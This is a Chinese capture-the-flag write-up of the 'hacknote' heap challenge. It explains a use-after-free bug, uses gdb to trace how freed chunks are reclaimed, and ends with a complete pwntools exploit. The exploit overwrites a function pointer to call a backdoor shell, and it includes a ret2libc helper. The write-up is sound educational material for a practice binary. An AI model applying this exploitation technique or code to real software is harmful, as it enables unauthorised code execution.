欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

从hacknote了解UAF漏洞

程序员文章站 2024-01-20 09:10:10
...

首先查看程序的基本功能,基本的菜单形式,主要提供了三个功能,创建,删除,打印。(即malloc堆块,free堆块,printf堆块中的数据)

从hacknote了解UAF漏洞

查看程序基本信息

从hacknote了解UAF漏洞

拖进ida中进行伪代码审计,由于此题没有去掉符号表,因此审计相对比较简答。创建和打印部分的代码均没有什么漏洞,在删除功能处可以发现很明显的UAF漏洞,在free掉content指针和结构体指针后均没有将其置为NULL。

从hacknote了解UAF漏洞

另外可以找到程序中存在后门函数magic

从hacknote了解UAF漏洞

进行调试分析,首先创建两个note(note0和note1),大小都为0x10,gdb查看堆的具体情况。

从hacknote了解UAF漏洞

可以看到总共有4个chunk,其中我们申请的chunk为chunk2和chunk4,大小为0x20。chunk1和chunk3为对应的结构体指针,大小为0x10。接下来具体看一下每个chunk块数据部分的内容,chunk1是结构体指针包含了两部分内容,第一部分0x080485fb为print_note_content函数地址,第二个部分0x087ec170为note0数据部分的地址(chunk2的mem指针)。chunk2是content指针,存储了具体的内容(0xa61–>‘a\n’)。chunk3、chunk4和chunk1、chunk2类似,这里就不再展开分析了。

从hacknote了解UAF漏洞

现在整理一下思路,chunk1和chunk3中都存在print_note_content函数地址,在当我们执行打印功能的时候会被调用。设想如果我们可以修改chunk中的地址为magic函数的地址,那当我们再次执行打印功能的时候就可以除法后门函数,获得shell。但是此时的chunk1和chunk3都是结构体指针,我们无法对其数据进行修改。那么我们怎么样才能进行修改呢?我们继续尝试和分析。。。

接下来我们将两个note都删除,再次查看堆的情况。

从hacknote了解UAF漏洞

可以看到现在4个chunk都已将被free掉了,(这里由于我的libc版本的问题所以被free的chunk被放入了tcache中,如果是较低的libc版本会被放入fastbin中)。但是由于存在UAF漏洞所以我们依旧可以正常执行打印的功能,所以我们要设法将其中一个结构体指针申请回来,并且要成为新的note的content指针,这样我们就可以修改print_note_content函数地址为magic函数地址,实现漏洞利用。具体做法也比较简答,我们只需要申请一个新的note,大小为0x8就可以了。申请0x8大小是为了我们可以把原来的结构体指针申请回来作为新的content指针。

当我们申请0x8大小的note后,首先会malloc一块0x10大小的chunk作为结构体指针,查看bin后可以找到0x9276190 和 0x9276160都满足,根据free的顺序首先取出0x9276190作为新note的结构体指针,然后根据申请的大小0x8进行malloc,查找后取出0x9276160作为新note的content指针。这里注意此时的0x9276160既是新note的content指针也是note0的结构体指针。所以我们可以实现对note0结构体指针的修改,我们将0x080485FB(print_note_content)修改为0x08048945(magic)。

从hacknote了解UAF漏洞

现在打印note0就可以获得shell了。

从hacknote了解UAF漏洞

exp如下:

from pwn import  *
from LibcSearcher import LibcSearcher
from sys import argv

def ret2libc(leak, func, path=''):
	if path == '':
		libc = LibcSearcher(func, leak)
		base = leak - libc.dump(func)
		system = base + libc.dump('system')
		binsh = base + libc.dump('str_bin_sh')
	else:
		libc = ELF(path)
		base = leak - libc.sym[func]
		system = base + libc.sym['system']
		binsh = base + libc.search('/bin/sh').next()

	return (system, binsh)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

context.log_level = 'DEBUG'
binary = './hacknote'
context.binary = binary
elf = ELF(binary)
p = remote('node3.buuoj.cn',29924) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def dbg():
	gdb.attach(p)
	pause()

# start
def add(size,name='a'):
	sla(':','1')
	sla(':',str(size))
	sla(':',name)

def delete(index):
	sla(':','2')
	sla(':',str(index))

def show(index):
	sla(':','3')
	sla(':',str(index))

magic = p32(elf.sym['magic']) # 0x8048945
add(0x10) # 0
add(0x10) # 1
delete(0)
delete(1)
add(0x8,magic)
show(0)
# end

itr()
相关标签: pwn 指针 python